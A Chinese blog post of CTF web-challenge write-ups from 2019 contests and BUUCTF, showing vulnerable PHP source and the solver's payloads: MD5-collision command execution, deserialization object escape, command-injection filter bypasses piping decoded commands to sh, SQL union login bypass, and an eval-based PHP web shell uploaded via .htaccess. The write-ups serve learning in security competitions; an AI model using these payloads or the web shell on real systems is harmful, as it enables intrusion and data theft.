2019安洵杯

easy_web

知识点:MD5强碰撞,命令执行
这个题比较简单,看题目发现传入参数img和cmd,然而图片是传入的img参数控制,让我想到ddctf的一道题,然后发现img是通过把文件名进行转十六进制后两次base64编码,来把图片读出,这样,我们把index.php也进行上述编码,传入img,成功读出img源码:

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

然后构造payload:

import requests

url='http://47.108.135.45:20166/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=ta\c%20/flag'
str5=open('./out_test_003.txt','rb').read()
str6=open('./out_test_001.txt','rb').read()

print str5
data= {
  'a':str5,
  'b':str6
}

res= requests.post(url=url,data=data)
print res.content

easy_serialize_php

知识点:变量覆盖,预包含,反序列化中的对象逃逸
直接给出源码:

<?php
$function = @$_GET['f'];
function filter($img){
    $filter_arr = array('php','flag','php5','php4','fl1g');
    $filter = '/'.implode('|',$filter_arr).'/i';
    return preg_replace($filter,'',$img);
}
if($_SESSION){
    unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
    echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
    $_SESSION['img'] = base64_encode('guest_img.png');
}else{
    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
    highlight_file('index.php');
}else if($function == 'phpinfo'){
    eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
    $userinfo = unserialize($serialize_info);
    echo file_get_contents(base64_decode($userinfo['img']));
}

执行phpinfo(),我们发现有预加载文件d0g3_f1ag.php,所以就读d0g3_f1ag.php。
发现函数extract($_POST)很明显是个变量覆盖漏洞。再往下找,有file_get_contents函数读取。但是我们发现这个变量被sha1函数加密了。没办法利用,但是,有serializeunserialize函数,并且中间有一层过滤,把匹配到的字符替换成空。
注意:任何具有一定结构的数据,如果经过了某些处理而把结构体本身的结构给打乱了,则有可能会产生漏洞。

function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}&function=show_image

这里我令_SESSION[user]为flagflagflagflagflagflag,正常情况下序列化后的数据是这样的:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

而经过了过滤函数之后,序列化的数据就会变成这样:

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到,user的内容长度依旧为24,但是已经没有内容了,所以反序列化时会自动往后读取24位:";s:8:"function";s:59:"a
然后会读取到的位置,s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}然后结束,由于user的序列化内容读取数据时需要往后填充24位,导致后面function的内容也发生了改变,吞掉了其双引号,导致我们可以控制后面的序列化内容。

而php反序列化时,当一整段内容反序列化结束后,后面的非法字符将会被忽略,而如何判断是否结束呢,可以看到,前面有一个a:3,表示序列化的内容是一个数组,有三个键,而以{作为序列化内容的起点,}作为序列化内容的终点。

所以此时后面的";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}在反序列化时就会被当作非法字符忽略掉,导致我们可以控制$userinfo[“img”]的值,达到任意文件读取的效果。

在读取完d0g3_f1ag.php后,得到下一个hint,获取到flag文件名,此时修改payload读根目录下的flag即可。

2019广东外语外贸大学第三届网络安全大赛

枯燥的抽奖

知识点:php伪随机数
进入check.php给出了源码:

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
    $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);       
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";

if(isset($_POST['num'])){
    if($_POST['num']===$str){
        echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
    }
    else{
        echo "<p id=flag>没抽中哦,再试试吧</p>";
    }
}
show_source("check.php"); 

这里用到了php_mt_rand,这里的坑点是php版本问题。php7和php5不太一样。
给出payload:

str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
str2='7bwSK3x5Sg'
length = len(str2)
res=''
for i in range(len(str2)):
    for j in range(len(str1)):
        if str2[i] == str1[j]:
            res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
            break

print res

参考链接:https://xz.aliyun.com/t/3656

我有一个数据库

知识点:phpmyadmin4.8.1漏洞
题目给了一个phpinfo.php,和phpmyadmin
存在本地任意文件包含漏洞
参考:https://www.cnblogs.com/bmjoker/p/9897436.html
成功getshell。
最让我不能忍的是他flag就在根目录flag,内容是flag{123456789},这竟然是真flag。。。根本不用getshell。浪费好多时间,我**.

现在在做buuctf,碰见当时做过的题目,这里来写写总结,记录下来。

禁止套娃

知识点:git泄露,rce

发现git泄露,代码审计。

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

这个题以前见过,也总结过。先说一种方法吧:
localeconv() 函数返回一包含本地数字及货币格式信息的数组,结合pos或者current能得到.,也就是当前目录,然后再加上scandir就能获取当前目录的所有的文件,输出出来可以得到当前文件夹下的内容。
1VAkGR.png
然后观察flag.php的位置,发现它在倒数第二位,可以用array_reverse逆转数组,然后用next函数读第二个元素,这样我们就可以读flag.php。
故payload:

readfile(next(array_reverse(scandir(pos(localeconv())))));

方法二:
思路大多都相同,就是获取当前目录的方式不同。
首先,通过phpversion()函数获取当前php的版本号,然后通过crypt()函数加密得到一串字符串,即任意字符,然后通过hebrevc()或hebrev()来处理一下,我们会发现,它的首字母可能是$或.,然后通过ord()函数,然后通过chr()函数,可能得到.。然后剩下的就和方法一一样了。这里我在看别人的writeup时后,突然发现,highlight_file函数,也可以显示文件啊。
payload:

readfile(next(array_reverse(scandir(chr(ord(hebrevc(crypt(phpversion()))))))));

ping ping ping

知识点:命令执行
让你传ip,然后去执行ping 你的ip。通常用|;&。来添加你要执行的命令。构造
127.0.0.1|ls。ls成功执行。并发现flag.php。然后就是读flag了。经过测试,过滤了空格和flag关键字,也过滤了?*等通配符,这里介绍几种绕过方式。空格都知道用$IFS$9来绕过,但是flag关键字如何绕呢?
这里我先直接给出过滤的源码,然后再详细介绍三种方法。

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "<pre>";
  print_r($a);
}

?>

方法一:
因为ls命令直接可以直接获得flag.php文件名,所以我们可以直接构造
payload:

127.0.0.1|cat$IFS$9`ls`

方法二:
仔细观察过滤,我们发现不能输入同时按照flag字母顺序的字符串,
我们可以使用调用linux环境变量的方法去拼接字符串。先输出$PATH

127.0.0.1|echo$IFS$9$PATH
得到:
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

里面含有我们要的l和a用cut截取出来去替换他们即可:

127.0.0.1|echo$IFS$9$PATH|cut$IFS$9-c6
得到
l

然后构造payload:

127.0.0.1|cat$IFS$9f`echo$IFS$9$PATH|cut$IFS$9-c6`ag.php

方法三:
利用管道符+base64 编码 即可绕过
首先,通过base64编码把执行的命令cat flag.php编码一下得到Y2F0IGZsYWcucGhw,然后通过base64 -d解码,得到命令再用bash或用sh来执行就行。
payload:

127.0.0.1|echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

BabySQli

知识点:联合注入绕过登陆
这个题过滤了括号和or,想注出数据有点困难,但是测试发现可以报错,也可以联合注入。这里利用union自行构造一个密码,通常数据库的信息都是MD5加密的数据,所以我们可以把我们输入的密码,进行MD5加密。用联合注入,使查询数据的时候,查出我们想要的数据。
sql语句是:select * from user where username = '$name'
利用union后:
select * from user where username ='-1' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#'我们就可以查询出,密码是为1,用户名叫admin的一个用户。(1的MD5值为c4ca4238a0b923820dcc509a6f75849b)。所以我们的payload:

name=0' union select 1,'admin','c4ca4238a0b923820dcc509a6f75849b'#&pw=1

BabysqliV3.0

知识点:弱口令,文件包含,文件上传
首先,这个题绝对是个出题事故。来说说解法。
题目说是绝对防御,那就是弱口令了。爆出密码:password.登陆上之后,来看看题,文件上传,发现参数?file=upload,直接php://filter/read=convert.base64-encode/resource=读源码,得到源码:

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
    上传文件
    <input type="file" name="file" />
    <input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
    public $Filename;
    public $cmd;
    public $token;


    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件:<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}

?>

开始审计代码,仔细看Uploader类的构造函数。发现正则表达式写的有问题(),上传得到的文件名完全可控。直接上传php文件。就getshell了???flag拿的一脸懵逼。
1ZEkaF.png
正常做法应该是上传phar文件,进行反序列化执行命令。这里就不再具体写了。

babyupload

解题思路
上传.htaccess

SetHandler application/x-httpd-php

然后上传1.png,然后burp发包去不断请求,然后蚁剑链接shell查看根目录拿到shell

<script language="php">echo md5(123);eval($_POST['a']);</script>

StrongestMind

知识点:编程
我的垃圾脚本:

#coding=utf-8
from requests import *
import re
import time


s = session()
a = s.get("http://46303d3c-2a4f-4ecc-9fbc-d047453ec7cb.node3.buuoj.cn/index.php")
for i in range(10000):
    pattern = re.findall(r'\d+.[+-].\d+', a.text)
    print pattern
    if pattern==[]:
        time.sleep(2)
        a = s.post("http://46303d3c-2a4f-4ecc-9fbc-d047453ec7cb.node3.buuoj.cn/index.php", data = {"answer" : c})
        pattern = re.findall(r'\d+.[+-].\d+', a.text)
    print pattern
    c = eval(pattern[0])
    a = s.post("http://46303d3c-2a4f-4ecc-9fbc-d047453ec7cb.node3.buuoj.cn/index.php", data = {"answer" : c})
    if 'flag{' in a.text:
        print a.text
        exit()

总结

这个学期的ctf生涯算是差不多结束了。虽然没有啥好的成绩,但是我能感觉的到,自己有一定的进步。虽然自己还是很菜,但是我相信只要我继续努力,一定会越来越强。定个小目标。寒假在没有网络安全工作的情况下,看一本关于网络基础知识的书。。。(恶补基础-_-)。加油,奥里给!!!

  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup
  • 2019极客大挑战RCE ME

    题目环境:http://114.116.44.23:40001/ 题目还是老样子。无字母数字rce。知识点其实都有写过,就不说了。详细参见:【RCE提高篇】题目源码: <?php ini_set("display_errors"...

    2019极客大挑战RCE ME
  • buuctf刷题记录(序)

    love math知识点:代码审计,绕waf直接给出源码: <?php error_reporting(0); //听说你很喜欢数学,不知道你是否爱它胜过爱flag if(!isset($_GET['c'])){ sho...

    buuctf刷题记录(序)
  • buuctf刷题记录

    前言最近感觉自己菜出来新境界。。。刷点题来证明我还存在。。。言归正传。开刷 hack world知识点:sql布尔盲注,bypass进入题目,发现这是典型的sql布尔盲注,题目给出了表名和列名都是flag,用burp进行fuzz测试发...

    buuctf刷题记录
  • OGeek CTF 2019-Enjoy You Self

    前言最近ctf不少,但是成绩不咋样,菜的真实。新学期开始了,最后一年了。。。继续努力吧。OPPO OGeek CTF 2019咋说呢,菜。。。总结一下学到的东西吧。 Enjoy You Self线上环境:http://47.107.2...

    OGeek CTF 2019-Enjoy You Self
  • 2018n1ctf-esay-php复现

    前言最近做题,两次遇见这个题。第一次看着writeup都没复现成功。emm(菜的真实。。。)。这次自己搭的环境用三种方法来复现这个题。 环境搭建官方给了环境,有dockerfile。所以比较容易搭建的。官方文件在docker上安装上d...

    2018n1ctf-esay-php复现
  • 刷题记录

    一步步慢慢绕题目: <?php show_source(__FILE__); $v1=0;$v2=0;$v3=0; $a=(array)json_decode(@$_GET['foo']); if(is_array($a)){ ...

    刷题记录
  • sql注入新姿势-2019强网杯

    前言woc前一段时间,写过一次,发现被我搞丢了,气死…重写ing 随便注首先,对题目进行测试尝试一下1'发现会得到报错,尝试一下万能密码1' or '1'='1,发现能够把当前表所有的值全部输出...

    sql注入新姿势-2019强网杯
  • ciscn线下部分题解

    前言ciscn华中赛区线下赛让我认识到自己是真的菜。。。总结一下这次比赛吧。 web1 <?php // ini_set("display_errors", "On"); // error_reporting(E_ALL | ...

    ciscn线下部分题解
  • 2019ddctfwriteup

    web滴~这是i春秋上的一个原题。(原题比这个好)进入页面发现观察jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09像是个base64编码。进行解码。解码两次得到666C61672E6A7067。像是个base1...

    2019ddctfwriteup